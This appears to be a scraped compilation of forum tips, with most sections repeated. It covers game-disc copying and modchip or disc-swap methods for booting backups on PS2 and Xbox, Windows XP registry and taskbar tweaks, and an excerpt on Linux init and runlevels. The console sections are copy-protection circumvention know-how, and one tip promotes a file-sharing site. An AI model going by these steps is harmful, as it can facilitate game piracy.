4. Select or Deselect ?Copy current disc on the fly?
5. For Datatype select which console PS1 or PS2, press Next
6. Select your Image location and Name for it, press Next
7. Select you Writer, Write Speed and anything else you feel you might need
8. Make sure the Datatype selected is the same you chose above
9. Press Start to begin
PS2 DVD backup tutorials
Using Prassi
1. Start Primo
2. Select "go to full application"
3. Right Click the drive that has your original in it
4. Select "build global image" and choose a path for the image (preferably on an NTFS opsys)
5. After the image is extracted go to next step
6. Choose the 3rd disc icon from the left *or* click file, new job, Global/Other Image
7. Then just burn the .gi (global image) of the game
This next way has one less step which saves some time because once you press record it does everything by itself (if you have a DVD reader and DVD Writer)
1. Start Primo
2. Use the "PrimoDVD Starter" (it's easier, and less confusing)
3. Choose "disc copy"
4. Select your Reader and Also your Writer
5. Select "make a temp image on HD..."
6. Select your burn speed and then record to begin
Using Nero
1. Start Nero, Use the Wizard (for easy use)
2. Select "DVD" then select Next
3. Select "Copy a DVD" then select Next
4. Select your source drive
5. Check OFF "copy on the fly" then select next
6. Select your write speed
7. Select either "Test", "Test and Burn" or "Burn"
8. Press "Burn" to begin
This next way is without the Wizard
1. Start Nero, and select "File" then "New..."
2. On upper left side of the window from the drop down menu select "DVD"
3. Select "DVD Copy" Icon
4. Select "Copy options" tab
5. Check OFF "copy on the fly"
6. Select source drive and read speed
7. If needed Select "Image" tab to choose image directory and select/deselect "delete image..."
8. Select "Burn" tab and choose your settings
9. Press "Copy" to begin
Using Alcohol 120%
1. Start Alcohol 120%
2. Select ?Copy Wizard?
3. Select your Reader
4. For ?Separate Image file every:? choose ?Never Separate?
5. Select or Deselect ?Copy current disc on the fly?, press Next
6. Select your Image location and Name for it, press Next
7. Select you Writer, Write Speed and anything else you feel you might need
8. Select or Deselect ?Delete image file after recording?
9. Press Start to begin
XBOX backup tutorials
Xbox original games are burned from the outside in. The only way to backup a title is to have a modchip like X-exuter (best), Enigma, or Xodus/Matrix. You also have to flash the bios and have a CD program inserted or installed into the X-Box named EVO-X (this allows you to assign the X-Box an IP address). The game has to be stored on the X-Box's HD, this allows you to file transfer the title to your PC using an ftp program like FlaxhFXP (best) or similar. From there you use a burning application to make the backup. Some applications allows you to "drag & drop" right from the Xbox or you can build an ISO of the image then burn to CD-R/W or DVD-R/W backup. (I will update this to show steps as soon as I have a minute)
Modded PS2 with or without Action Replay/GameShark CD & DVD backup booting methods
PS2 with NeoKey/Sbox & AR/GS, PS1 CD backup booting
1. Turn on PS2 and NeoKey/Sbox
2. Press Eject
3. Insert PS1 CD backup
4. Press reset
5. PS2 tray will close
6. PS1 CD backup will now boot
PS2 with NeoKey/Sbox & AR/GS, PS2 CD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc
4. At the AR/GS menu, select Start Game, With/Without codes
5. Eject and swap to your PS2 CD backup and press X.
6. Screen will change and game will now boot
* Note - Neokey will not play DVD-R!
* Note - Old versions of AR2/GS2 you might need to press R1+O instead of X to boot games
PS2 with Neo 2.2, PS1 CD backup booting
1. Turn on PS2
2. Press Eject
3. Insert PS1 CD backup
4. Press reset
5. PS2 tray will close
6. PS1 CD backup will now boot
PS2 with Neo 2.2 & AR/GS, PS2 CD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc
4. At the AR/GS menu, select Start Game, With/Without codes
5. Eject and swap to your PS2 CD backup and press X.
6. Screen will change and game will now boot
PS2 with Neo 2.2 & AR/GS, PS2 DVD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc, close tray
4. Power off your PS2, wait a few seconds
5. Press and Hold Reset button to load AR/GS
6. At the AR2/GS2 menu, press EJECT while still holding Reset
7. Swap AR/GS disc for an Original-TOC-DVD* and wait 10 seconds
8. Select "AR/GS Codes"
9. Highlight "Add new code" and press X to get to the next screen
10. Press X three times. You will see "Updating code list please wait" each time)
11. Press "Start" on controller
12. Select "Without codes", press X
13. Then Press X again, and immediately release the Reset button, you will see "Updating code list please wait"
14. The PS2 tray will eject allowing you to swap Original-TOC-DVD* for DVD backup and then close on it?s own
15. Screen will change and game will now boot
* Note - "Original-TOC-DVD" is an original DVD that is a larger file size than the backup
* Note ? For a shortcut make a few ?Add new codes? and after step 8 just highlight one of them and press square to delete it, then proceed on with step 11
PS2 with Messiah
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.
PS2 with Magic 2, 3 or 3.5
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.
Ps2 with Apple Mod
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.[CODE]
INFO: Text didn't write by me!
Okay, these are some methods to backup PS2 titles and Xbox titles, in order to play a backup you need a modchip of some sort, I have also included a tutorial on boot methods. Follow any one of these instructions to fit your needs. You can tell what format the PS2 title is by looking at the written side of the disc, DVD's are Silver and CD's are Purple. The DVD backup methods here consist of reading the image to the hard drive then burning it to the media for an easier backup, this depends on your hardware and it?s setup. I say that because the proper setup would be to have the Reader and Writer on separate IDE cables. This allows no cross information when doing Disc to Disc/On the fly copying. But, since most people would not know how to check or fix this, I suggest reading the image to your Hard Drive and then burning from there. *A little useful trick*, If the DVD backup "image" is small enough in size you can fit it onto a CD-R (80 minute or larger if need be) instead of using a more expensive DVD-R. I have done this succesfully using Prassi and the first tutorial for it below. In addition a DVD Movie backup will play on a PS2/Xbox without a chip. As I get more info I will update. Dexter
PS1/PS2 CD backup tutorials
Using CloneCD (v4.x.xx) for PS1/PS2
1. Start CloneCD
2. Select "Copy CD"
3. Select your Reader, press Next
4. Select "Game CD", press Next
5. Select/Deselect your options here (on the fly, cue or delete) then press Next
6. Select your Writer, press Next
7. Select your burn speed and "Game CD"
8. Press "OK" to begin
Using Alcohol 120% for PS1/PS2
1. Start Alcohol 120%
2. Select ?Copy Wizard?
3. Select your Reader & Read Speed
4. Select or Deselect ?Copy current disc on the fly?
5. For Datatype select which console PS1 or PS2, press Next
6. Select your Image location and Name for it, press Next
7. Select you Writer, Write Speed and anything else you feel you might need
8. Make sure the Datatype selected is the same you chose above
9. Press Start to begin
PS2 DVD backup tutorials
Using Prassi
1. Start Primo
2. Select "go to full application"
3. Right Click the drive that has your original in it
4. Select "build global image" and choose a path for the image (preferably on an NTFS opsys)
5. After the image is extracted go to next step
6. Choose the 3rd disc icon from the left *or* click file, new job, Global/Other Image
7. Then just burn the .gi (global image) of the game
This next way has one less step which saves some time because once you press record it does everything by itself (if you have a DVD reader and DVD Writer)
1. Start Primo
2. Use the "PrimoDVD Starter" (it's easier, and less confusing)
3. Choose "disc copy"
4. Select your Reader and Also your Writer
5. Select "make a temp image on HD..."
6. Select your burn speed and then record to begin
Using Nero
1. Start Nero, Use the Wizard (for easy use)
2. Select "DVD" then select Next
3. Select "Copy a DVD" then select Next
4. Select your source drive
5. Check OFF "copy on the fly" then select next
6. Select your write speed
7. Select either "Test", "Test and Burn" or "Burn"
8. Press "Burn" to begin
This next way is without the Wizard
1. Start Nero, and select "File" then "New..."
2. On upper left side of the window from the drop down menu select "DVD"
3. Select "DVD Copy" Icon
4. Select "Copy options" tab
5. Check OFF "copy on the fly"
6. Select source drive and read speed
7. If needed Select "Image" tab to choose image directory and select/deselect "delete image..."
8. Select "Burn" tab and choose your settings
9. Press "Copy" to begin
Using Alcohol 120%
1. Start Alcohol 120%
2. Select ?Copy Wizard?
3. Select your Reader
4. For ?Separate Image file every:? choose ?Never Separate?
5. Select or Deselect ?Copy current disc on the fly?, press Next
6. Select your Image location and Name for it, press Next
7. Select you Writer, Write Speed and anything else you feel you might need
8. Select or Deselect ?Delete image file after recording?
9. Press Start to begin
XBOX backup tutorials
Xbox original games are burned from the outside in. The only way to backup a title is to have a modchip like X-exuter (best), Enigma, or Xodus/Matrix. You also have to flash the bios and have a CD program inserted or installed into the X-Box named EVO-X (this allows you to assign the X-Box an IP address). The game has to be stored on the X-Box's HD, this allows you to file transfer the title to your PC using an ftp program like FlaxhFXP (best) or similar. From there you use a burning application to make the backup. Some applications allows you to "drag & drop" right from the Xbox or you can build an ISO of the image then burn to CD-R/W or DVD-R/W backup. (I will update this to show steps as soon as I have a minute)
Modded PS2 with or without Action Replay/GameShark CD & DVD backup booting methods
PS2 with NeoKey/Sbox & AR/GS, PS1 CD backup booting
1. Turn on PS2 and NeoKey/Sbox
2. Press Eject
3. Insert PS1 CD backup
4. Press reset
5. PS2 tray will close
6. PS1 CD backup will now boot
PS2 with NeoKey/Sbox & AR/GS, PS2 CD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc
4. At the AR/GS menu, select Start Game, With/Without codes
5. Eject and swap to your PS2 CD backup and press X.
6. Screen will change and game will now boot
* Note - Neokey will not play DVD-R!
* Note - Old versions of AR2/GS2 you might need to press R1+O instead of X to boot games
PS2 with Neo 2.2, PS1 CD backup booting
1. Turn on PS2
2. Press Eject
3. Insert PS1 CD backup
4. Press reset
5. PS2 tray will close
6. PS1 CD backup will now boot
PS2 with Neo 2.2 & AR/GS, PS2 CD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc
4. At the AR/GS menu, select Start Game, With/Without codes
5. Eject and swap to your PS2 CD backup and press X.
6. Screen will change and game will now boot
PS2 with Neo 2.2 & AR/GS, PS2 DVD backup booting
1. Have AR/GS dongle in a memory card slot
2. Power on your PS2
3. Insert AR/GS disc, close tray
4. Power off your PS2, wait a few seconds
5. Press and Hold Reset button to load AR/GS
6. At the AR2/GS2 menu, press EJECT while still holding Reset
7. Swap AR/GS disc for an Original-TOC-DVD* and wait 10 seconds
8. Select "AR/GS Codes"
9. Highlight "Add new code" and press X to get to the next screen
10. Press X three times. You will see "Updating code list please wait" each time)
11. Press "Start" on controller
12. Select "Without codes", press X
13. Then Press X again, and immediately release the Reset button, you will see "Updating code list please wait"
14. The PS2 tray will eject allowing you to swap Original-TOC-DVD* for DVD backup and then close on it?s own
15. Screen will change and game will now boot
* Note - "Original-TOC-DVD" is an original DVD that is a larger file size than the backup
* Note ? For a shortcut make a few ?Add new codes? and after step 8 just highlight one of them and press square to delete it, then proceed on with step 11
PS2 with Messiah
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.
PS2 with Magic 2, 3 or 3.5
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.
Ps2 with Apple Mod
1. PSX Backups will boot directly.
2. PS2 CD-R Backups will boot directly.
3. PS2 Unpatched EA backups will boot directly.
4. PS2 DVD-R Backups will boot directly.[CODE]
How to Back Up the Registry
Before you edit the registry, export the keys in the registry that you plan to edit, or back up the whole registry. If a problem occurs, you can then follow the steps how-to restore the registry to its previous state.
How to Export Registry Keys
Click Start, and then click Run.
In the Open box, type regedit, and then click OK.
On the File menu, click Export.
In the Save in box, select the boxs at the bottom the bottom according to weather you want to export all or only selected branches of the registry.
Next select a location in which to save the backup .reg file. In the File name box, type a file name, and then click Save.
How to Restore the Registry
To restore registry keys that you exported, double-click the .reg file that you saved.
How to Export Registry Keys
Click Start, and then click Run.
In the Open box, type regedit, and then click OK.
On the File menu, click Export.
In the Save in box, select the boxs at the bottom the bottom according to weather you want to export all or only selected branches of the registry.
Next select a location in which to save the backup .reg file. In the File name box, type a file name, and then click Save.
How to Restore the Registry
To restore registry keys that you exported, double-click the .reg file that you saved.
How To Add Your Own Windows Tips
re you sick of seeing the same tips again and again when you first logon to Windows? Now you can change them to whatever you want, whether it's quotes, jokes or a to-do list, anything is possible.
Open your registry and find the key below.
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Tips
Create a new string valued named by incrementing the existing value names and set it to the required tip text.
eg. 32 - Dont forget to Visit ShareOrDie.com
Open your registry and find the key below.
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Tips
Create a new string valued named by incrementing the existing value names and set it to the required tip text.
eg. 32 - Dont forget to Visit ShareOrDie.com
How To Add An Option To Print, the Contents of a Folder!
How to Add an Option to Print the Contents of a Folder
Would you like to be able to right click any folder in Explorer and print its contents? You can add this option to the context menu by following these steps:
First, you need to create a batch file called Printdir.bat. Open Notepad or another text editor and type (or cut and paste) this text:
@echo off
dir %1 /-p /o:gn > "%temp%\Listing"
start /w notepad /p "%temp%\Listing"
del "%temp%\Listing"
exit
Now, in the Save As dialog box, type "%windir%\Printdir.bat" (without the quotation marks) and click the Save button.
Click Start, Control Panel, Folder Options.
Click the File Types tab, and then click File Folder.
Click the Advanced button.
Click the New button.
In the Action box, type "Print Directory Listing" (without the quotation marks).
In the Application used to perform action box, type "Printdir.bat" (without the quotation marks).
Click OK in all three dialog boxes to close the dialog boxes.
You're not quite finished yet! Now you need to edit the Registry, so open your favorite Registry Editor.
Navigate to HKEY CLASSES ROOT\Directory\shell.
Right click on "default" and select Modify.
In the File Data box, type "none" (without the quotation marks).
Click OK and close the Registry Editor.
Now when you right click a folder, you'll see the option to Print Directory Listing. Selecting it will print the contents of the folder.
Who needs a stinking program to print a folder directory?
Would you like to be able to right click any folder in Explorer and print its contents? You can add this option to the context menu by following these steps:
First, you need to create a batch file called Printdir.bat. Open Notepad or another text editor and type (or cut and paste) this text:
@echo off
dir %1 /-p /o:gn > "%temp%\Listing"
start /w notepad /p "%temp%\Listing"
del "%temp%\Listing"
exit
Now, in the Save As dialog box, type "%windir%\Printdir.bat" (without the quotation marks) and click the Save button.
Click Start, Control Panel, Folder Options.
Click the File Types tab, and then click File Folder.
Click the Advanced button.
Click the New button.
In the Action box, type "Print Directory Listing" (without the quotation marks).
In the Application used to perform action box, type "Printdir.bat" (without the quotation marks).
Click OK in all three dialog boxes to close the dialog boxes.
You're not quite finished yet! Now you need to edit the Registry, so open your favorite Registry Editor.
Navigate to HKEY CLASSES ROOT\Directory\shell.
Right click on "default" and select Modify.
In the File Data box, type "none" (without the quotation marks).
Click OK and close the Registry Editor.
Now when you right click a folder, you'll see the option to Print Directory Listing. Selecting it will print the contents of the folder.
Who needs a stinking program to print a folder directory?
How To Add A Url Address Bar To The Taskbar
You can add an Internet URL address bar to your Windows XP taskbar. Doing so will let you type in URLs and launch Web pages without first launching a browser. It will also let you launch some native Windows XP applications in much the same way as you would via the Run menu (so you could type in calc to launch the calculator or mspaint to launch Microsoft Paint. Here's how you add the address bar:
1. Right-click on the taskbar, select Toolbars, and then click Address.
2. The word Address will appear on your taskbar.
3. Double click it to access it.
4. If that doesn't work, your taskbar is locked. You can unlock it by right-clicking on the taskbar again and uncheck Lock the Taskbar.
NOTE: You may also need to grab the vertical dotted lines beside the word Address and drag it to the left to make the Address window appear.
1. Right-click on the taskbar, select Toolbars, and then click Address.
2. The word Address will appear on your taskbar.
3. Double click it to access it.
4. If that doesn't work, your taskbar is locked. You can unlock it by right-clicking on the taskbar again and uncheck Lock the Taskbar.
NOTE: You may also need to grab the vertical dotted lines beside the word Address and drag it to the left to make the Address window appear.
How To Access Your Folders From Your Taskbar
How To Access Your Folders From Your Taskbar
This is an easy way to get to the folders on your system without having to open a Windows Explorer Window every time you want to access files. I find it very useful to have this feature as it allows me to access my Folders and Drives immediately and saves me a lot of time.
This works in Windows XP:
1. Right Click an empty spot on your Taskbar (Between your Start Button and your System Tray).
2. Click Toolbars.
3. Click New Toolbar.
4. A Small Window will Open that allows you to pick the folder you wish to make a Toolbar. If you want to access your Desktop Without having to minimize all your windows. Just Pick Desktop. If you want to access ONLY your My Documents Folder, Select that. Any folder will work for this.
5. Click OK.
The New Tool bar will appear at the bottom of your screen next to your System Tray.
If you find this to be not useful, Repeat Steps 1 and 2 and then check click the Toolbar you created that has a check mark next to it. And it will disappear.
This is an easy way to get to the folders on your system without having to open a Windows Explorer Window every time you want to access files. I find it very useful to have this feature as it allows me to access my Folders and Drives immediately and saves me a lot of time.
This works in Windows XP:
1. Right Click an empty spot on your Taskbar (Between your Start Button and your System Tray).
2. Click Toolbars.
3. Click New Toolbar.
4. A Small Window will Open that allows you to pick the folder you wish to make a Toolbar. If you want to access your Desktop Without having to minimize all your windows. Just Pick Desktop. If you want to access ONLY your My Documents Folder, Select that. Any folder will work for this.
5. Click OK.
The New Tool bar will appear at the bottom of your screen next to your System Tray.
If you find this to be not useful, Repeat Steps 1 and 2 and then check click the Toolbar you created that has a check mark next to it. And it will disappear.
How Long Has Your XP System Been Running
How Long Has Your System Been Running?
Here's how you verify system uptime:
Click Start | Run and type cmd to open a command prompt.
At the prompt, type systeminfo
Scroll down the list of information to the line that says System Up Time.
This will tell you in days, hours, minutes and seconds how long the system has been up.
Note that this command only works in XP Pro, not in XP Home. You can, however, type net statistics workstation at the prompt in Home. The first line will tell you the day and time that the system came online.
Here's how you verify system uptime:
Click Start | Run and type cmd to open a command prompt.
At the prompt, type systeminfo
Scroll down the list of information to the line that says System Up Time.
This will tell you in days, hours, minutes and seconds how long the system has been up.
Note that this command only works in XP Pro, not in XP Home. You can, however, type net statistics workstation at the prompt in Home. The first line will tell you the day and time that the system came online.
How Linux boots
How Linux boots
As it turns out, there isn't much to the boot process:
1. A boot loader finds the kernel image on the disk, loads it into memory, and starts it.
2. The kernel initializes the devices and its drivers.
3. The kernel mounts the root filesystem.
4. The kernel starts a program called init.
5. init sets the rest of the processes in motion.
6. The last processes that init starts as part of the boot sequence allow you to log in.
Identifying each stage of the boot process is invaluable in fixing boot problems and understanding the system as a whole. To start, zero in on the boot loader, which is the initial screen or prompt you get after the computer does its power-on self-test, asking which operating system to run. After you make a choice, the boot loader runs the Linux kernel, handing control of the system to the kernel.
There is a detailed discussion of the kernel elsewhere in this book from which this article is excerpted. This article covers the kernel initialization stage, the stage when the kernel prints a bunch of messages about the hardware present on the system. The kernel starts init just after it displays a message proclaiming that the kernel has mounted the root filesystem:
VFS: Mounted root (ext2 filesystem) readonly.
Soon after, you will see a message about init starting, followed by system service startup messages, and finally you get a login prompt of some sort.
NOTE On Red Hat Linux, the init note is especially obvious, because it "welcomes" you to "Red Hat Linux." All messages thereafter show success or failure in brackets at the right-hand side of the screen.
Most of this chapter deals with init, because it is the part of the boot sequence where you have the most control.
init
There is nothing special about init. It is a program just like any other on the Linux system, and you'll find it in /sbin along with other system binaries. The main purpose of init is to start and stop other programs in a particular sequence. All you have to know is how this sequence works.
There are a few different variations, but most Linux distributions use the System V style discussed here. Some distributions use a simpler version that resembles the BSD init, but you are unlikely to encounter this.
Runlevels
At any given time on a Linux system, a certain base set of processes is running. This state of the machine is called its runlevel, and it is denoted with a number from 0 through 6. The system spends most of its time in a single runlevel. However, when you shut the machine down, init switches to a different runlevel in order to terminate the system services in an orderly fashion and to tell the kernel to stop. Yet another runlevel is for single-user mode, discussed later.
The easiest way to get a handle on runlevels is to examine the init configuration file, /etc/inittab. Look for a line like the following:
id:5:initdefault:
This line means that the default runlevel on the system is 5. All lines in the inittab file take this form, with four fields separated by colons occurring in the following order:
# A unique identifier (a short string, such as id in the preceding example)
# The applicable runlevel number(s)
# The action that init should take (in the preceding example, the action is to set the default runlevel to 5)
# A command to execute (optional)
There is no command to execute in the preceding initdefault example because a command doesn't make sense in the context of setting the default runlevel. Look a little further down in inittab, until you see a line like this:
l5:5:wait:/etc/rc.d/rc 5
This line triggers most of the system configuration and services through the rc*.d and init.d directories. You can see that init is set to execute a command called /etc/rc.d/rc 5 when in runlevel 5. The wait action tells when and how init runs the command: run rc 5 once when entering runlevel 5, and then wait for this command to finish before doing anything else.
There are several different actions in addition to initdefault and wait, especially pertaining to power management, and the inittab(5) manual page tells you all about them. The ones that you're most likely to encounter are explained in the following sections.
respawn
The respawn action causes init to run the command that follows, and if the command finishes executing, to run it again. You're likely to see something similar to this line in your inittab file:
1:2345:respawn:/sbin/mingetty tty1
The getty programs provide login prompts. The preceding line is for the first virtual console (/dev/tty1), the one you see when you press ALT-F1 or CONTROL-ALT-F1. The respawn action brings the login prompt back after you log out.
ctrlaltdel
The ctrlaltdel action controls what the system does when you press CONTROL-ALT-DELETE on a virtual console. On most systems, this is some sort of reboot command using the shutdown command.
sysinit
The sysinit action is the very first thing that init should run when it starts up, before entering any runlevels.
How processes in runlevels start
You are now ready to learn how init starts the system services, just before it lets you log in. Recall this inittab line from earlier:
l5:5:wait:/etc/rc.d/rc 5
This small line triggers many other programs. rc stands for run commands, and you will hear people refer to the commands as scripts, programs, or services. So, where are these commands, anyway?
For runlevel 5, in this example, the commands are probably either in /etc/rc.d/rc5.d or /etc/rc5.d. Runlevel 1 uses rc1.d, runlevel 2 uses rc2.d, and so on. You might find the following items in the rc5.d directory:
S10sysklogd S20ppp S99gpm
S12kerneld S25netstd_nfs S99httpd
S15netstd_init S30netstd_misc S99rmnologin
S18netbase S45pcmcia S99sshd
S20acct S89atd
S20logoutd S89cron
The rc 5 command starts programs in this runlevel directory by running the following commands:
S10sysklogd start
S12kerneld start
S15netstd_init start
S18netbase start
...
S99sshd start
Notice the start argument in each command. The S in a command name means that the command should run in start mode, and the number (00 through 99) determines where in the sequence rc starts the command.
The rc*.d commands are usually shell scripts that start programs in /sbin or /usr/sbin. Normally, you can figure out what one of the commands actually does by looking at the script with less or another pager program.
You can start one of these services by hand. For example, if you want to start the httpd Web server program manually, run S99httpd start. Similarly, if you ever need to kill one of the services when the machine is on, you can run the command in the rc*.d directory with the stop argument (S99httpd stop, for instance).
Some rc*.d directories contain commands that start with K (for "kill," or stop mode). In this case, rc runs the command with the stop argument instead of start. You are most likely to encounter K commands in runlevels that shut the system down.
Adding and removing services
If you want to add, delete, or modify services in the rc*.d directories, you need to take a closer look at the files inside. A long listing reveals a structure like this:
lrwxrwxrwx . . . S10sysklogd -> ../init.d/sysklogd
lrwxrwxrwx . . . S12kerneld -> ../init.d/kerneld
lrwxrwxrwx . . . S15netstd_init -> ../init.d/netstd_init
lrwxrwxrwx . . . S18netbase -> ../init.d/netbase
...
The commands in an rc*.d directory are actually symbolic links to files in an init.d directory, usually in /etc or /etc/rc.d. Linux distributions contain these links so that they can use the same startup scripts for all runlevels. This convention is by no means a requirement, but it often makes organization a little easier.
To prevent one of the commands in the init.d directory from running in a particular runlevel, you might think of removing the symbolic link in the appropriate rc*.d directory. This does work, but if you make a mistake and ever need to put the link back in place, you might have trouble remembering the exact name of the link. Therefore, you shouldn't remove links in the rc*.d directories, but rather, add an underscore (_) to the beginning of the link name like this:
mv S99httpd _S99httpd
At boot time, rc ignores _S99httpd because it doesn't start with S or K. Furthermore, the original name is still obvious, and you have quick access to the command if you're in a pinch and need to start it by hand.
To add a service, you must create a script like the others in the init.d directory and then make a symbolic link in the correct rc*.d directory. The easiest way to write a script is to examine the scripts already in init.d, make a copy of one that you understand, and modify the copy.
When adding a service, make sure that you choose an appropriate place in the boot sequence to start the service. If the service starts too soon, it may not work, due to a dependency on some other service. For non-essential services, most systems administrators prefer numbers in the 90s, after most of the services that came with the system.
Linux distributions usually come with a command to enable and disable services in the rc*.d directories. For example, in Debian, the command is update-rc.d, and in Red Hat Linux, the command is chkconfig. Graphical user interfaces are also available. Using these programs helps keep the startup directories consistent and helps with upgrades.
HINT: One of the most common Linux installation problems is an improperly configured XFree86 server that flicks on and off, making the system unusable on console. To stop this behavior, boot into single-user mode and alter your runlevel or runlevel services. Look for something containing xdm, gdm, or kdm in your rc*.d directories, or your /etc/inittab.
Controlling init
Occasionally, you need to give init a little kick to tell it to switch runlevels, to re-read the inittab file, or just to shut down the system. Because init is always the first process on a system, its process ID is always 1.
You can control init with telinit. For example, if you want to switch to runlevel 3, use this command:
telinit 3
When switching runlevels, init tries to kill off any processes that aren't in the inittab file for the new runlevel. Therefore, you should be careful about changing runlevels.
When you need to add or remove respawning jobs or make any other change to the inittab file, you must tell init about the change and cause it to re-read the file. Some people use kill -HUP 1 to tell init to do this. This traditional method works on most versions of Unix, as long as you type it correctly. However, you can also run this telinit command:
telinit q
You can also use telinit s to switch to single-user mode.
Shutting down
init also controls how the system shuts down and reboots. The proper way to shut down a Linux machine is to use the shutdown command.
There are two basic ways to use shutdown. If you halt the system, it shuts the machine down and keeps it down. To make the machine halt immediately, use this command:
shutdown -h now
On most modern machines with reasonably recent versions of Linux, a halt cuts the power to the machine. You can also reboot the machine. For a reboot, use -r instead of -h.
The shutdown process takes several seconds. You should never reset or power off a machine during this stage.
In the preceding example, now is the time to shut down. This argument is mandatory, but there are many ways of specifying it. If you want the machine to go down sometime in the future, one way is to use +n, where n is the number of minutes shutdown should wait before doing its work. For other options, look at the shutdown(8) manual page.
To make the system reboot in 10 minutes, run this command:
shutdown -r +10
On Linux, shutdown notifies anyone logged on that the machine is going down, but it does little real work. If you specify a time other than now, shutdown creates a file called /etc/nologin. When this file is present, the system prohibits logins by anyone except the superuser.
When system shutdown time finally arrives, shutdown tells init to switch to runlevel 0 for a halt and runlevel 6 for a reboot. When init enters runlevel 0 or 6, all of the following takes place, which you can verify by looking at the scripts inside rc0.d and rc6.d:
1. init kills every process that it can (as it would when switching to any other runlevel).
# The initial rc0.d/rc6.d commands run, locking system files into place and making other preparations for shutdown.
# The next rc0.d/rc6.d commands unmount all filesystems other than the root.
# Further rc0.d/rc6.d commands remount the root filesystem read-only.
# Still more rc0.d/rc6.d commands write all buffered data out to the filesystem with the sync program.
# The final rc0.d/rc6.d commands tell the kernel to reboot or stop with the reboot, halt, or poweroff program.
The reboot and halt programs behave differently for each runlevel, potentially causing confusion. By default, these programs call shutdown with the -r or -h options, but if the system is already at the halt or reboot runlevel, the programs tell the kernel to shut itself off immediately. If you really want to shut your machine down in a hurry (disregarding any possible damage from a disorderly shutdown), use the -f option.
As it turns out, there isn't much to the boot process:
1. A boot loader finds the kernel image on the disk, loads it into memory, and starts it.
2. The kernel initializes the devices and its drivers.
3. The kernel mounts the root filesystem.
4. The kernel starts a program called init.
5. init sets the rest of the processes in motion.
6. The last processes that init starts as part of the boot sequence allow you to log in.
Identifying each stage of the boot process is invaluable in fixing boot problems and understanding the system as a whole. To start, zero in on the boot loader, which is the initial screen or prompt you get after the computer does its power-on self-test, asking which operating system to run. After you make a choice, the boot loader runs the Linux kernel, handing control of the system to the kernel.
There is a detailed discussion of the kernel elsewhere in this book from which this article is excerpted. This article covers the kernel initialization stage, the stage when the kernel prints a bunch of messages about the hardware present on the system. The kernel starts init just after it displays a message proclaiming that the kernel has mounted the root filesystem:
VFS: Mounted root (ext2 filesystem) readonly.
Soon after, you will see a message about init starting, followed by system service startup messages, and finally you get a login prompt of some sort.
NOTE On Red Hat Linux, the init note is especially obvious, because it "welcomes" you to "Red Hat Linux." All messages thereafter show success or failure in brackets at the right-hand side of the screen.
Most of this chapter deals with init, because it is the part of the boot sequence where you have the most control.
init
There is nothing special about init. It is a program just like any other on the Linux system, and you'll find it in /sbin along with other system binaries. The main purpose of init is to start and stop other programs in a particular sequence. All you have to know is how this sequence works.
There are a few different variations, but most Linux distributions use the System V style discussed here. Some distributions use a simpler version that resembles the BSD init, but you are unlikely to encounter this.
Runlevels
At any given time on a Linux system, a certain base set of processes is running. This state of the machine is called its runlevel, and it is denoted with a number from 0 through 6. The system spends most of its time in a single runlevel. However, when you shut the machine down, init switches to a different runlevel in order to terminate the system services in an orderly fashion and to tell the kernel to stop. Yet another runlevel is for single-user mode, discussed later.
The easiest way to get a handle on runlevels is to examine the init configuration file, /etc/inittab. Look for a line like the following:
id:5:initdefault:
This line means that the default runlevel on the system is 5. All lines in the inittab file take this form, with four fields separated by colons occurring in the following order:
# A unique identifier (a short string, such as id in the preceding example)
# The applicable runlevel number(s)
# The action that init should take (in the preceding example, the action is to set the default runlevel to 5)
# A command to execute (optional)
There is no command to execute in the preceding initdefault example because a command doesn't make sense in the context of setting the default runlevel. Look a little further down in inittab, until you see a line like this:
l5:5:wait:/etc/rc.d/rc 5
This line triggers most of the system configuration and services through the rc*.d and init.d directories. You can see that init is set to execute a command called /etc/rc.d/rc 5 when in runlevel 5. The wait action tells when and how init runs the command: run rc 5 once when entering runlevel 5, and then wait for this command to finish before doing anything else.
There are several different actions in addition to initdefault and wait, especially pertaining to power management, and the inittab(5) manual page tells you all about them. The ones that you're most likely to encounter are explained in the following sections.
respawn
The respawn action causes init to run the command that follows, and if the command finishes executing, to run it again. You're likely to see something similar to this line in your inittab file:
1:2345:respawn:/sbin/mingetty tty1
The getty programs provide login prompts. The preceding line is for the first virtual console (/dev/tty1), the one you see when you press ALT-F1 or CONTROL-ALT-F1. The respawn action brings the login prompt back after you log out.
ctrlaltdel
The ctrlaltdel action controls what the system does when you press CONTROL-ALT-DELETE on a virtual console. On most systems, this is some sort of reboot command using the shutdown command.
sysinit
The sysinit action is the very first thing that init should run when it starts up, before entering any runlevels.
How processes in runlevels start
You are now ready to learn how init starts the system services, just before it lets you log in. Recall this inittab line from earlier:
l5:5:wait:/etc/rc.d/rc 5
This small line triggers many other programs. rc stands for run commands, and you will hear people refer to the commands as scripts, programs, or services. So, where are these commands, anyway?
For runlevel 5, in this example, the commands are probably either in /etc/rc.d/rc5.d or /etc/rc5.d. Runlevel 1 uses rc1.d, runlevel 2 uses rc2.d, and so on. You might find the following items in the rc5.d directory:
S10sysklogd S20ppp S99gpm
S12kerneld S25netstd_nfs S99httpd
S15netstd_init S30netstd_misc S99rmnologin
S18netbase S45pcmcia S99sshd
S20acct S89atd
S20logoutd S89cron
The rc 5 command starts programs in this runlevel directory by running the following commands:
